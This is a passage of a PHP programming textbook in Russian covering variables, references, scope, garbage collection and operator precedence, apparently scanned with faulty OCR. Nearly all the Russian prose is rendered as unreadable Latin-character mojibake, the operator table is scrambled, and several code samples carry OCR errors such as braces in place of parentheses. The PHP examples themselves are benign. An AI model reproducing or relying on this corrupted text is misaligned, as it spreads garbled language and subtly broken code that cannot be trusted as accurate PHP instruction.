ITo cBoeii cyTH nepeMeHHasi — 3TO 00J1aCTh NAMSITH, IOCTYII K KOTOPOi OCYIIECT-
Bisietcs o umenu (uaentudukaropy). Kak yxxe 6110 cka3aHo paHee, iepeMeHHbIe
B PHP - 3to upentudukaropsl, Ha3BaHHe KOTOPBIX HAUMHAETCSI CO 3HAKa J0JLIa-
pa ($) u Tak nasiee (0 MpaBUJIAX MMEHOBAHMUsI lepeMeHHbIX cM. 11.2.1.6). Hanpumep:

$name

$Age

$_debugging
$MAXIMUM_IMPACT
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[lepeMenHble MOTYT XpaHUTb 3HayeHHe Jjoboro Tuna. B PHP Her mpoBepku
THUIa BPEMEHH KOMITUJISILIMU UJIM BPEMEHU BbINOJHEHU. Bbl MoxeTe serko 3a-
MEHUTh 3HaUeHHE epeEMEHHOI 3HaYeHHEM JIPYTOro TUIA:

$what = "®Ppen”; // ctpoka

$what = 35; // uenoe uncno

$what = array("®pen”, 35, “Bunsma”); // maccus

Her TouHoro cunrakcuca onpenenenus nepemedusix B PHP. Co3nanue nepe-
MEHHOI MPOUCXOUT NPH NEPBOM NPHUCBOEHUH 3HAYEHUS NepeMeHHO. [Ipyru-
MM CJIOBaMH, yCTAaHOBKA 3HAYEHUsI IEPEMEHHON SABJISETCS TaKXe U 0ObsABJIEHHU-
eM nepeMenHoit. Hanpumep, ato Bnosite pabouass PHP-nporpamma:

$day =60 * 60 * 24;

echo "B oanom ane {$day} cexyna\n”;

BoiBon:

B ognom are 86400 cexynp,
HepeMeHHbIe, 3HAYE€HHUE KOTOPbIX HE YCTAHOBJIEHO, BBITVIAASAT KAaK NIEPEMEHHDIE
CO 3HaueHueM NULL:

if ($uninitializedVariable === NULL) {
echo “Oal”;

}
BeiBox:
Oal

2.3.1. NepemeHHbIe NepeMeHHbIX

Bel Moxere cocsiaTbcsi Ha 3HaYeHUE NEPEMEHHOM, UMSI KOTOPOH COXPaHEHO
B IpYrO¥ NepeMeHHOH, ISl 3TOr0 MCNOJIb3YeTCsl AONOJHUTENbHBIN 3HAK A0JLIa-
pa ($). Hanpumep:

$foo = “bar”;
$$foo = “baz”.

[Tocsie BbIMOJHEHHE BTOPOrO Oreparopa y nepeMeHHOW $bar OymeT 3HaueHue
“baz”. IlepeMenHas nepeMeHHOI GepeT 3HaYeHHe NEPEMEHHON H paccMaTpH-
BaeT ero Kak MMs nepeMeHHOM.

2.3.2. NepemeHHbie-CCbiJIKK

B PHP moxHo ucrnoJib30BaTh iepeMeHHble-CCLIKH, TO €CTb [IepeMEHHbIE, CChLIa-
IOIIMecs Ha IpyrUe nepeMeHHble. To ecTh NoJIy4aeTcs, YTo Y OJIHOM NepeMEeHHO
OyneT 1Ba HMEHH: OCHOBHOE M ICEeBAOHUM (1iepeMeHHasi-ccblika). Ytobsl cae-
Jatb $black nceBAOHMMOM /1151 nepeMeHHOH $white, UCTI0JIb3yHTE CUHTAKCHUC:
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$black =& $white;

Crapoe 3HaueHHe nepeMeHHOM $black OymeT norepsino. Bmecto 3toro, $black
Ternepb SBJISIETCS BTOPHIM UMEHEM [IJ151 3HaU€HHsl, COXPAHEHHOTO B ePeMEHHOM
$white:

$biglongVariableName = “Ha”;

$short =&$biglongVariableName;
$biglongVariableName .= “ PHP!”;

print “\$short = $short\n";

print “Llong = $biglongVariableName\n";

$short = na PHP!
Long = Ha PHP!

$short = “Mporpammupyem $short”;
print “\$short = $short\n";
print “Llong = $biglongVariableName\n";

$short = Mporpammupyem Ha PHP!
Long = Mporpammupyem Ha PHP!

HOCJIe NpUCBanMBaHUA ABE€ INEPEMEHHDbIX pa6OTalOT KaK /IBa aJIbTEPHATUBHbIX
HMEeHH [ OJHOTO M TOTO Ke 3HaueHHs. YaajeHue (C MOMOIUBIO unset()) OIHO-
ro U3 MUMEH HUKaAK He OTO6pa)KaETC$I Ha OCTAJIbHbIX UMEHAaX:

$white = “cuer”;

$black =& $white;

unset{$white);
print $black;

BriBog;

CcHer

MDyHKIMHM MOTYT BO3BpalLATh 3HAYEHUSI 110 CChUIKE, HApUMep, YTOObI H36exaThb
KOIMPOBaHHUSA OOJIBLUINX CTPOK MJIM MACCHBOB (CM. L. 3):

function &retRef() // obpatute BHUMaHKe Ha &

{
$var = “PHP";

return $var;

}

$v =& retRef(); // obpatute sHumanme Ha &

2.3.3. O6nacTv BMAUMOCTY NEPEeMEHHbIX

O61acTh BUAUMOCTH T€PEMEHHON 3aBUCHUT OT MeCTa OObsIBIEHHUsT epeMEHHOM
1 onpejeisieT, B KAKUX YacTsAX IPOrpaMMbl niepeMetHasi 6yaet goctynida. B PHP
CYIIECTBYET YeThIpe THIMA 006JIaCTH MepeMeHHBIX: JIOKalbHas1, rJ00aabHas1, CTa-
THYecKast 00J1acTb U 06J1aCTh NapaMeTPOB (DYHKIHH.
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JlokanbHas o6nacTb BUAMMOCTH

[Tepemennble, 06bsiBIeHHbIE B (DYHKIMH, JOKATIbHbI A5 3TOH (yHKUMHU. [JaH-
Hble TlepeMeHHbIe BUIUMBI TOJIBKO B KoJe 3Toi pyHKkunu. OHUM He TOCTYIHBI 33
npenenamu GyHkuuu. Takxe, 10 yMOTYaHUIO, IIepEMEHHBIE, OIpe/ieJieHHbIE 3a
npenenamu GyHKIUU (Ha3biBaeMble T100aJbHBIMU [IePEMEHHBIMHU ), HEIOCTYII-
HbI BHYTPpU HyHKLMHK. PaccMOTpUM nprMep, B KOTOPOM (hyHKI1Mst OOHOBJISIET JIO-
KaJIbHYI0 TEPEMEHHYI0 BMECTO I100aIbHOIL:

function updateCounter()

{
)

$counter = 10;
updateCounter();
echo $counter;

$counter++;

BriBox:
10

[TepemeHHas $counter BHYTPU (DYHKLMHU ABJISIETCS JIOKAJbHOM A7 3TOM (yHK-
1IMH, TIOCKOJIbKY Apyroe He omnpeneieHo sBHO. (DyHKUMA yBelIMYMBAEeT CBOKO
JIOKaJIbHYIO TEePEMEHHYIO $counter, KOTOpass OyAeT YHHUYTOXEHA, KaK TOJbKO
dyHKUMA 3aBeplIUT cBo paboty. [mobanbHas nepeMeHHasi $counter HE OymeT
M3MEeHEeHa U ee 3HaYeHHe TaK U OCTaHeTcst paBHbIM 10.

JlokanbHbie nepeMeHHble CyleCTBYIOT TOJIbKO B (fl.)YHKIII/IHX. B orsnnuwme ot apy-
T'UX A3BIKOB [IPOrPaMMUPOBAHUA B PHP BbI He MoXkeTe co37aBaTh IepeEMEHHbIE
¢ 06J1aCThIO BUIUMOCTH B IIUKJI€, BeTKaX YCJIOBUA WIIH APDYTUX TUIIAX 6JI0KOB.

Fno6anwhan obnacts BMUAUMOCTHM

[Tepementbie, 06bsiBIEHHDIE 32 TPeieiaMu (DYHKIMH, SBJISIOTCS IJ106aIbHBIMH.
JloCcTyI K HUM MOXHO IOJIyYUTh U3 JII0O0H YaCTH IPOrpaMMbl, HO, KaK yxKe ObLIo
yKa3aHO paHee, OHU HEIOCTYMHbI BHYTPU (byHKIMit. UTOOBI pa3peniuTh A0CTYII
byHKLIMY K 17106a71bHOM TePeMEHHOIA, BBl MOXKETE HCII0Ib30BATh KJII0UEBOE CJI0-
BO global BHyTpH (pyHKLIHU.

KinroueBoe c0BO global ucmonbdyercss st 0ObsABIEHHUSI, YTO NepeMeHHas,
K KOTOpOi#t obpainaercst pyHKauus, apisercs raodaabHoit. JaBaiite Teneps me-
penuiieM (GyHKIMIO updateCounter() Tak, YTOObI OHA TMOJyyaaa JOCTYI K [JIO-
6aIbHOM MePEMEHHOM $counter:

function updateCounter()

{
global $counter;
$counter++;
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$counter=10;
updateCounter();
echo $counter;

BriBox:
11

BMecTo 1Cnonb30BaHMsl KJIOYEBOTO CJIOBA global AT A0OCTyNa K r/I06alibHBIM
MepEMEHHBIM MOKHO MCIOJb30BaTh MacCUB $GLOBALS , B KOTOPOM XPaHATCA
r7106aJbHblE [IEPEMEHHbIE, JOCTYITHbIE HAMIPSIMYIO:

function updateCounter()

{
}

$GLOBALS[counter]++;

$counter=10;
updateCounter();
echo $counter;

BoiBOx:
11

Cratnyeckue nepeMeHHble

3HayeHMe CTaTHYECKUX ePEMEHHBIX COXPAHIETCS MEXIY BbI30BaMU QYHKIUH,
HO [PU 3TOM TlepeMeHHast BUAMMA TOJbKO B caMoit pyHkumu. O6bSIBUTD CTaTH-
4eCKyI0 llepeMeHHYI0 MOXKHO C [IOMOLIBIO KJII0UEBOIO CJI0BA static. Hanpumep:

function updateCounter()

{
static $counter = 0;
$counter++;

echo “Cratnueckuit cuetunk = { $counter}\n”;

}

$counter = 10;
updateCounter();
updateCounter();

echo “lnobanbHeiit cuetunk = { $counter}\n”;

BriBon:

Cratuyeckui cyetumk = 1
CraTtnyeckui cyetumk = 2
lnobanbHeii cyetumnk = 10



nasa 2. OCHOBbI 93bIKa)

Mapamerpoi hyHKLUK

Bonee noxpobiio 06 onpenenennu hyHKIMA Mbl IOTOBOPUM B IJ1aBe 3, a MOKa
BaM HY>KHO 3HATh, YTO onpeieieHre GYHKIIMH MOXET COIEPXKaTb UMEHOBAaHHbIE
napameTpsl:

function greet{$name)

{
)

echo “Mpueer, { $name}\n";

greet("®pen”);
MNpuser, Ppen

[TapameTpbl (GYHKLUMM JIOKAJbHBI U JOCTYNHbI TOJbKO BHYTPU CBOEH (hyHK-
uuu. B Hawem ciyyae nepeMeHHast $name HEAOCTYNHA 32 TIpeaeaamMu GyHKLUH
greet().

2.3.4. Coop mycopa (Garbage Collection)

[ns ynpaBnenus: namsiteio PHP ucnosnb3yer noacyer cChljIOK U TEXHOJIOTHIO
“Konuposanue npu 3anucu” (copy-on-write). Texuosnorus “KonupoBanue npu
3anucu” rapaHTHPYeET, YTO MaMsITh He OyAeT MoTpayeHa BOYCTYIO, KOraa Bbl KO-
nupyere 3HaYEHUs] MEX/Y EPEMEHHBIMM, a TIOJICYET CCHIJIOK MO3BOJISIET BO3Bpa-
1IATh ONIePAIlMOHHON CUCTEME MTaMSITh, KOTOPasi yKe OoJiblile He HyXKHa.

Yto6bl nousATh ynpasnenneM namatbio B PHP, Bbl 10/KHBI CHayana MOHSATDH
nzeio tabauipl cuMBoIoB. EcTh 1Be yacTu nepeMeHHOIt - ee uMsl (Harnpumep,
$name) ¥ ee 3HaueHHe (Hampumep, “®pea”). TabsuIa CUMBOJIOB - 3TO MAaCcCHB,
COIOCTABJISIIOILMI NMeHa NePEMEHHBIX C X 3HaYeHUSIMU B IaMSITH.

Korna Bbl konupyere 3HaueHue U3 o1HOM epeMeHHoit B apyryio, PHP He noxy-
yaeT GoJiblile MaMSITH 1JIs1 KONUY 3HaueHust. BMecto atoro PHP o6HoBsteT Ta-
6JIMIly CHMBOJIOB, TaK, YTOObI 00€ 3TH MepeMeHHbIE CChLIAIOTCS HA OJIHY U TY XKe
obsacts namstu. [loaToMy cieayoolnid KO Ha CAMOM [ieJie He CO3/1aeT HOBbIM
MaccHB:

$worker = array("®pen”, 35, “Bunsma”);
$other = $worker; // maccue He 6bin ckONMUPOBAH

Ecsu Bbl BiocsienctBuu uaMensiete yodyio konuio, PHP Beinesnsier Tpebyemyio
NaMsITh U CO3/1aeT KOIHUIO:

$worker[1] = 36; // MACCHB CKONUPOBAH, 3HAYEHUE U3MEHEHO

Ot10:xMB BblIeIeHUE TaMsATH U KonupoBaHue, PHP coxpansieT Bpemsi 1 naMsTh
BO MHOTHMX CUTYyallusiX. Imo u ecmo mexronozus “Konupoeanue npu sanucu”.
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Y kaxxa0ro 3HaueHust B TabJMIle CHMBOJIOB €CTh CYUETYHMK CChIJIOK - YHUCJIO, TPEIO-
CTaBJIsIIOILEE KOJTMYECTBO CIIOCOOOB, KOTOPbIE MOXKHO UCIIOJIb30BaTh, YTOOBI “10-
Opatbcs” 10 3TOro 3HayeHus1 B namsaTH. Ceidyac MosiCHUM, 4TO 3TO o3HavaeT. Ha-
yanbHOE 3HaueHue ObILJIO MPUCBOEHO NMEPEMEHHOM $worker, TOCJIE TOTO KaK 3Ha-
yeHue $worker GBIIO NPHUCBOEHO NEPEMEHHOM $other, YHUCIO CCHUIOK Ha Mac-
CHUB B NaMSITH CTaJIO PaBHBIM 22 (JiB€ MEPEMEHHBIX CChLIAIOTCS HA OTHO U TO XKe
3HaueHue). [[pyrumMu cjioBaMH, JOCTYH K 3TOMY y4YacTKY IMaMSITH MOXKHO TMOJIY-
YUTh WUJIM 4Yepe3 TepeMeHHYIo $worker MM 4epe3 nepeMeHHylo $other. Ho mo-
cJie TOoro Kak nepemeHHasi $worker[1] udmenena, PHP co3mact HOBBIII MaccuB
17151 $worker, 2 YHCJIO CCHLIOK /17151 KQXKI0TO M3 MAaCCHBOB Oy/1eT paBHbIM 1.

Kor/:[a nepeMeHHasi BBIXOAUT U3 obyactu BUAUMOCTH, HalIDUMEDP, 3TO KACAETCA
JIOKAJIbHBIX MEPEMEHHbIX (byHK].[I/II/I IPH 3aBEPIIEHHH €€ paéOTbI, CUYETUYHK CChbI-
JIOK YMEHbIIAETCA Ha €ANHHULLY. Koma CYETUYHUK CCbIJIOK JOCTUTAET 3HAYEHUSA 0,
IMPOUCXOAUT OCBO60)K[[€HI/IC NaMsTH. IO U ecmov noocuem CCoLiok.

[ToacYeT cChLIOK - 3TO PEKOMEHIOBAHHBIN, XOPOLIUH CITOCOO yrpaBJIeHus Mamsi-
Thi0. BbI MOXXeTe 0OBSIBISATH CKOJIBKO YTOAHO JIOKATbHBIX TEPEMEHHBIX B (DYHK-
UMSIX, IepeJaBaTh 3HaueHus1, HeoOXoanuMble st paboTsl hyHKIM, a 06 ynpas-
JIEHUH NaMSIThIO M03a00TUTCSI CYETYHK CCITOK. ECIIH ke BbI XKeslaeTe MoIyIuTh
HeMHOro 6oJibliie HHGOPMAIMK UM TIOJYYUTh KOHTPOJb HAJ OCBOOOXKIEHHEM
NaMsITH IepeMEHHBIX, UCMOIb3yHTe DYHKIMH isset() U unset().

IIpoBepUTD, yCTaHOBJIEHA JIM BO YTO-JIMGO (1aXe B MYCTYIO CTPOKY) TepeMeH-
Hasl, O3BOJAT (DYyHKIMS isset():
$s1 =isset($name); // $s1 =false

$name = "Ppen”;
$52 =isset($name); // $52 = true

Yr1oO6bl yAamuTh EPEMEHHYIO K OCBOOOAUTH MAMSITh, HCIIOIB3YHUTE unset():

$name = "Ppen”;
unset($name); // teneps $name = NULL

2.4. BoipaxeHus n oneparopbl

Beipaxxenue - koHcTpykuus sizeika PHP, ucnosb3yiomasicss 1 BeIYUCTIeE-
Hus 3HaveHus. [Ipocreifiine BhipakeHus: - 3To oObluHble 3Hauyenus (0, “cTpo-
Ka") U nepeMeHHble. 3HAYEHHUsI BHIUMCISAIOTCA B caMuX ceOst (TO eCTh 3HaYeHue
0 1 ecTh caM HOJIb), 2 3HAYEHHE NIEPEMEHHON XPAHUTCSI B 00JIaCTH MaMSITH, Ha
KOTOPYIO YKa3bIBaeT mepeMeHHasi. bosiee cyioxHble BhIpaxkeHus: GOPMUPYIOTCS

2Ha camMoM gerne ccbinok 6yaeT 3, eCnv B3rMsAHYTb HA CYETHUK CCbINOK rna3amun API C, HO B KOHKPET-
HO 3TOM MPUMepPe HAMHOO MPOLLE AyMaTb, YTO CCbINOK 2.
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C MCIOJIb30BAHUEM MPOCTbIX BbIPAKEHUI (3HAYEHUIT M TIEpEMEHHBIX) U OMepa-
TOPOB.

OnepaTop 6eper HECKOJIbKO 3HayeHUi (OHU Ha3bIBAIOTCS ONEPaHIaMM) U JeJia-
€T YTO-TO C HUMH, HanipuMep, ckyaabiBaet ux BMecte. Oneparopsl B PHP npex-
CTaBJIEHb CHMBOJIaMH TyHKTYaIlMH, HAPUMED, + («ILJIIOC» ) — 3TOT CUMBOJI 3Ha-
KOM HaM ellle U3 MaTeMaTUkH. HekoTopble onepaTopbl UBMEHSIIOT CBOU OI€pPaH-
JIbl, HO MOZIaBJIsTIONEee OOMBIIMHCTBO - HET.

B tabauue 2.3 npuseaens onepatopsl PHP, MHOrMe M3 HUX ObLIY 03aUMCTBO-
BaHbl u3 s13b1k0B C u Perl. Kosonka I1 o3HayaeT npuopuTeT onepaTopa, onepa-
TOPBI IPUBEIEHBI B OPSIIKE OHUKEHUSI IPHOPUTETA - OT CAMOTO BBICOKOTO /10
camoro Hu3koro. Kosonka [1B o3HavaeT nmopsiiok BbIMOJTHEHMS, KOTOPBII MO-
et ObITh JI (ceBa HanpaBo), I1 (cnpaBa HaneBo) wiu H (HeaccouuaTHBHBII).

Tabnuua 2.3. Oneparopbi PHP

o e e 0 ne pa“;.. SR —
...21 v Er——— mé;):;ﬁ;me T
2 | n | [ NHaekc maccusa
19, N |~ Mo6utHoe oTpuuaxne (NOT)
" A MH erMEHT .............................. i
ni-- JekpemeHT
(inf), (bool), (foat), | '
N | (string), (array), MNpuBeaeHue Tuna
(object), (unset)
nj|e MNopasnexve owmnbok
18 | H | instanceof MNposepka TuNa
17 | N |1 Noruyeckoe otpuuaxue (NOT)
16| N | * YMHOXeHne
- . ../ ....... ﬂeneHme
n| % OcTtaTok OT genexHua
15| 1 |+ Cnoxenue
n |- BblyutaHne
n KoHkaTeHauus CTpoku
14| n | << MO6UTHBIA CABUr Bneso
% n | > MNo6uTHBIA caBur BNpaso
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Onepatop

Onepauus

RE

Bonble, 6onbLue nnm paBHo

12

PaBHO

He paBHO

Tun 1 3Ha4YeHUs paBHbI

Tvn 1 3Ha4YeHUs He paBHbI

Mo6butHoe U (AND)

No6uTHOE nckntoyatowee NN (XOR)

No6uTHoe UJTU (OR)

Noruuyeckoe U (AND)

JNoruvueckoe NN (OR)

YCnoBHbI onepaTop

=il == = = = 1= = [} e o e - e s | (B ) W= i i
o)

MpuceauBaHue

=]

lMpuceaneaHue c onepaunen

Nornyeckoe U (AND)

Norwvueckoe NN (OR)

b Y U= | (B 3 e

Paspenutens cnncka

2.4.1. KonuyecTtBo onepaHaoB

BosabmurcTBo onepatopos B PHP siBiisiioTcst GUHAPHBIMHU, TO €CTh OHU COEIHHSA-
IOT JBa onepaH/a (MM BhIpaXXeHHUs1) B OHO, OoJiee cioxHoe Bbipaxkenne. PHP
TaKk)Xe NMOJIEePKUBaeT HEKOTOPble YHapHble OllepaTopbl, KOTOPble KOHBEPTHPY-
10T OJIHO BbIpaskeHue B OGosee cioxHoe Bhipaxkenne. Eme PHP noxnepxuBaer
€IMHCTBEHHbIN TEPHAPHbII OMEPaToOp, KOTOPbI KOMOMHHPYET TPH BbIPasKEHUS
B 0JHO 6oJIee CIOXKHOE.

2.4.2. Mpuroputet onepaTopos

HOPHI[OK, B KOTOPOM BBIYHUCJIAKOTCA OIIEPATOPBI B BbIpaXX€HUHU, 3aBUCUT OT UX
OTHOCHTEJIBHOTO IMMOpAIKa. HanpuMep, BbI MOJKETE HAIIUCATh!:

2+47*3

..................................................................................
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Kak BuaHo u3 tabiuisl 2.3, y 0nepaTopoB CIOXEHUS U YMHOXEHHUS Pa3Hbli
MPUOPUTET, IPUOPUTET Y YMHOXEHUS BBIIIE, yeM y ciaoxenus. [loatomy cHa-
yasa Gy/aeT BBIMOJHEHO YMHOXEHHE, a TOJIbKO MOTOM ciioxenue. CrenoBaresb-
HO, MBI TIOJIyYUM 2 + 12 WK 14 B KayecTBe pe3ysbTaTa. Eciu Obl IPHOPUTETHI
CJIOKEHUSI ¥ YMHOXEHUS TIOMEHSATh, Mbl ObI MOJYYHIN Pe3yJbraT 6 * 3 = 18.

Yrob6bl 331aTh ONpe/eIeHHbIA MOPSIIOK, Bbl MOXeETe TPYIIUPOBAThH OIMEPATOPHI
B ckoOku. B Hamem mpuMepe, 4ToObI TOMYYUTH 18, BaM HYXXHO HCIIOJb30BaTh
BbIpaXKeHue:

(2+4)*3

Bbl MOXeTe coCTaBIATh G0JIee CJIOXKHBIE BhIPaXKEHUS (BbIPaXKeHH s, COAEepKaLIMe
GoJiee OHOTO OmepaTopa), MPOCTO MOMelast ONEPaH/bl U ONEPATOPbI B HAJIE-
XKallleM TOPS/IKe TaK, YTOOBI UX OTHOCHUTENbHBIA MPUOPUTET MPUBEJ K JKeJiae-
MoMmy pe3yJsraTy. OfHAKO IS yIydlleHus: YUTabeTbHOCTH U BOCTIPUATHS KOJIa,
a Tak)e YMEHbUIEHHUs YUCJia OLIMOOK HACTOSATENBHO PEKOMEHIYETCS UCTIOJIb30-
BaTh CKOOKH B CJIOXKHBIX BbIpaXeHuUsX. [[OHUMaHKe IPUOPUTETA TO3BOJISET M-
catb KoJ MoA0OHBIM 06pa3oM:

$x+2/%y>=428%z2: $x<< $z
OI[HaKO TaKoOH KOI TPYAHO YHUTATh, U ITOYTH BCETAa OH HE JIE€JIa€T TOTO, YTO 3aAy-
MaJl TpOrpaMMHUCT.

Coser. Korna Bbl UMeeTe 4eno CO CNOXHLIMU NpaBunamm npuopuTe-
Ta, NOMHUTE, 4TO BCE 3T Npasuna MoryT GbiTb CBEAEHLI K ABYM Cle-
LYIOLLUMM:

= YMHOXEHME U peneHve nmeloT 6onee BbICOKUA NPUOPUTET, YEM
CNOXEHMWE U BblYUTaHUE

s Mcnonb3yiTe ckobku AN\ BCEro oCTanbHOro.

2.4.3. MNopsanok BbiNONHEHNS onepaTopoB

ITopsi1oK BBINIOJTHEHKSI OTIPE/IEISIET HOPSIIOK, B KOTOPOM OY/IyT BBIIIOJHEHBI OITe-
paTophl C OAHUM YPOBHEM NpropuTteTra. HanpruMep, mocMOTpUM Ha BbIpa>keHUe:

2/2*2

Y omnepaTtopoB YMHOXEHUS U /IeJIEHUSI OMMHAKOBBII IIPUOPUTET, HO Pe3yJIbraT
BBIPaXKEHHUSI 3aBUCUT OT TOTO, KaKas ornepanus OyJeT BbIIIOJHEHA TIEPBOIL:

2/(2*2)//05
2/2)*2//2
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[Topsinok BBIMOJIHEHHUSI OTNEPATOPOB JEJE€HUSI U YMHOXEHHUS - CJIeBa Ha MPABO.
ITO 03HAYAET, YTO B HALLEM IIPUMEPE Pe3YJIbTaT Oy/IeT paBeH 2.

2.4.4. HesBHOe npuBegeHue TMNa

MHorue onepaTtopsl 0XXU/IAIOT MOJYYUTh ONEPAH/IbI ONPEAEJIEHHOTO TUHA, HA-
npumep, OMHapHbIE MaTeMaTHYECKHEe OrepaTopbl TPeOYIOT, YTOObI 06a onepaTo-
pa 6bLTH ogMHaKoBoro Tuna. Kak Mel yxxe 3HaeM, nepemennbie PHP moryT xpa-
HUTD LIeJIbl€ YU CJIA, YHCJIA C TITIABAIOIIEN TOYKOM, CTPOKH U ap. [Ipu Heobxoxumo-
ctu PHP npeo6pa3oBbiBaeT 3Hau€HMsI OJTHOTO TUIIA B APYTO.

[Ipeo6pa3oBaHue 3HAUYEHHMS] OMHOrO TUMA B APYrod Ha3bIBAeTCS NMPUBEIEHU-
eM Tuna (B aHIJI. JIUTEPAType - casting). Vcnosb3yeMoe HesIBHOE TIPUBEIEHHE
tuna B PHP HasbiBaercss MmanunyJsinuei ¢ tTunoM (type juggling)®. IpaBuia
HESIBHOTO TIPUBEIEHUS THUIA JJisI apU(PMETHUECKUX OIEPaTOPOB Mpe/CTaBJie-
HbI B Tabauie 2.4.

Tabnuua 2.4. MpaBuna HEABHOro NPUBEAEHUA TUNOB
Ana GuHapHbIX apudmeTUIEcKUX onepaTopos

Tun nepsoro Tun sBTOoporo

Mpeo6Gpa3oBaHue
onepaHaa onepaHaa

Yucno c nnaeaowen | Llenoe 3HaveHne GyaeT KOHBEPTUPOBAHO
3anaTomn B YMCNO C NNaBaloLLEeN 3anNaTomn

 Uenoe uuncno

Crtpoka 6ynetr KOHBepTUpOBaHa B 4UCNO.
Ecnu 3HayeHwne nocne npeobpa3osaHue by-
. Uenoe uucno Crpoka OeT Yucnom C nnasaioLlen 3anaTon, uenoe
yucno (nepsuii onepaHa) 6ynet npeobpa-
30BaHO B YNCNO C NNaBaloLlelt 3anaTomn

| Yucno
. C Nnasalowen Crpoka
| 3anaton

Crtpoka 6yneT koHBepTUMpOBAHAa B YMCNO
C nnasaloLwen 3anaTom

HekoTopsle npyriie omnepaTopbl OXHIAIOT ONEPAH/bI APYTMX THUIIOB, MO3TOMY
y HUX eCTb CBOM COOCTBEHHbIE TPaBUJIa pUBeAeHus TUMoB. HanpyMep, onepatop
KOHKaTEeHAllMH CTPOK Mepesi KOHKaTeHalei mpeobpa3yeT B CTPOKY 00a oriepaH/ia.

3.274 // pesynstatom Bynet crpoka 32.74

Bl MoXxere ucnonb3oBaTh cTpoKy Be3ze, rne PHP oxupaer uucino. Ctpoka
JIOJ)KHA HAUMHATBCS € LEJIOr0 YUCJA WK ¢ YUCJa ¢ TIaBaolueil Toukoit. Ecau
B CTPOKE He ObLIO HalIEHO YK CJIO, CTPOKa npeobpasyercst B yuco 0. Eciu crpo-
Ka COepKUT ToUKYy (.) uiu OykBy E (1M e), cTpoKa OyaeT npeobpa3oBaHa B YKC-

3 MoapobHyio nHdopmaumio 06 3Toi onepaLmn MOXHO NONYYUTL MO aapecy http://www.php.net/
manual/ru/language.types.type-juggling.php.
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Jio ¢ nuiaBaiollei Toukoi. TouHee, 06paboTka CTPOKU MPOMCXOIUT CJI€BA HAIpa-
BO UM 3aKaHYMBAETCS HA MEPBOM CHMBOJIE, KOTOPbIA He MOXET ObITb 0OpaboTaH
Joruyecku. Hanpumep:

“9 lives.” - 1; // 8 linteger)
“3.14 Pies” * 2; // 6.28 (float)
"9 Lives.” - 1; // 8 (float)

“1E3 Points of Light” + 1; // 1001 (float)

2.4.5. ApudmeTtnuyeckue onepartopbi

ApucdmMeTnyeckue onepaTopsl - 3TO ONEPATOPbI, UCIIOIb3yeMble HAMU NPAKTH-
4eCKH KaxKiblil 1eHb. [IpakTHyecku Bce apudMeTHUECKHE ONEPaTOPBI SIBJSIOT-
cs1 GUHapHBIMHU, OJTHAKO, apuMeTHUECKOe OTPULIAHUE U YHAPHBIN Mioc (apud-
METHYECKOe YTBEepPXIAeHUEe UM MyCTast apudMeTHUecKasi ornepaius) sBJasIOTCS
YHapHbIMHU. JTH ONepaTopbl TPEOYIOT YUCTIOBBIX 3HAYEHHH, a BCE HEYHUCIIOBBIE
3HaueHusi Oy1yT KOHBEPTUPOBATHCS B YMCJIOBbIE, COTJIACHO MPABMUJI, OMTMCAHHBIX
B npeablaylieM paszaene. K apudMeTnueckuM onepaTtopoM OTHOCSITCSI:

Cnoxcenue (+)
Pesyibrat cioxeHust - cyMMa JBYX OIepaH/IoB.

Buuumanue (-)
Pe3ysibrat BbIUMTAHUS - PA3HUIIA MEXAY ABYMsl ONEepaHIaMu, TO €CTb 3HaYe-
HUe BTOPOro OfepaHia BbIYUTAETCS U3 EPBOTO.

Ymnoocenue (*)
Pesysbrat onepaTopa yMHOMXeHHUsI - 3TO IPOU3BeeH1e IBYX onepaHaoB. Ha-
npumep, 3 * 4 paBHO 12.

enenue (/)
Pesysibratom onepaTopa jieJieHusl - 3TO YaCTHOE ABYX ornepaTopoB. Pe3yibra-
TOM [eJIEHUSI IBYX LIEJIbIX YUCE MOXET ObITh HJIU LEJ0€ YUCIIO (4 / 2) uiu
YKCJIO0 C MJIaBalollei 3ansaToi (1 / 2).

Ocmamox omderenus: (%)
Oneparop % npeobpasyet o6a ornepaHja B LeJble YUCJa U BO3BPALLaeT OCTa-
TOK OT JieJIeHUsI IEPBOro onepaHaa Ha BTopoil. Hanpumep, 10 % 6 = 4.

Apugmemuuecxoe ompuyanue (-)
Oneparop apudMeTH4ecKoro OTpuLaHUs UM NPOCTO YHAPHBbIH MHUHYC BO3-
BpallaeT onepaHj, YMHOXEHHBIH Ha -1, YTO U3MeHsIeT 3HaK yucyaa. Hanpu-
Mep, -(3 - 4) s3kBUBaJeHTHO 1. ApudMeTnyeckoe OTPUIIAHHE OTJIUYAETCS
0T oniepaTopa BelYUTaHUs1. AprudMETHYECKOE OTPUIIAHKE - 3TO YHAPHBII ome-
paTop M OH CTAaBMTCS BCeria rnepe/ onepaHaoM. Beruutanue - 310 6MHAPHBIN
‘onepaTop ¥ OH HAXOJUTCSI MEXY ONepaHIaMH.
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Ynapuwui nwoc unu nycmas apugp memuuecxkas onepavus (+)
YHapHbI# MII0C BO3BpAlLlaeT ONepPaH/l, YMHOKEHHBIH Ha +1, YTO HUKAK He U3-
MEHSIET ero 3HaYeHus U BooO11e He UMeET HUKAKOro addekta. ATOT onepaTop
HCIOJIb3YeTCs ISl SIBHOTO YKa3aHHWs 3HAKa 3HAUYEHWs, HarpuMep, +(3 - 4)
PaBHO -1, KaK 4 (3 - 4).

2.4.6. OnepaTop KOHKaTeHaLUun CTPOKK

MaHunyupoBaHie CO CTPOKaMH - 3TO ocHOBHasi pabora PHP-npusoxenus,
MO3TOMY [Jis1 KOHKaTeHauuu (o6beauHenus) crpok B PHP ucnoss3yercst ot-
JeJbHbI orepaTop KOHKaTeHauuHu - (.). OnepaTop KOHKaTeHaLUH [pUCOeIU-
HsieT BTOPOii onepaH/ (yKa3aHHbIH cripaBa OT TOYKH ) K IEPBOMY olepaHay (yka-
3aHHOMY CJieBa OT TOYKH ) M BO3BpalllaeT 06 beinHEHHY0 CTPOKY. [1pu Heobxoau-
MOCTH Mepeji KOHKaTeHalueit onepan/ibl npeobpasyoTcst B cTpokd. Hanpumep:

$n=35;

$s="3pecs 6bino ' . $n . " yTox.’;

// $s="3pecs 6uino 5 yrox’

Oneparop KOHKaTeHallMH OYeHb 3(PPEKTHUBEH, MOCKOJbKY MHOXECTBO OIepa-
uuit B PHP cBoauTCS K KOHKaTeHAMU CTPOK.

2.4.7. Onepatopbl MHKPEMEHTa U IeKPEMEHTa

B nporpaMMupoBaHHUU OIHUMH M3 HauOOJIee YACTO UCIOJb3yEMbIX ONEpaluii
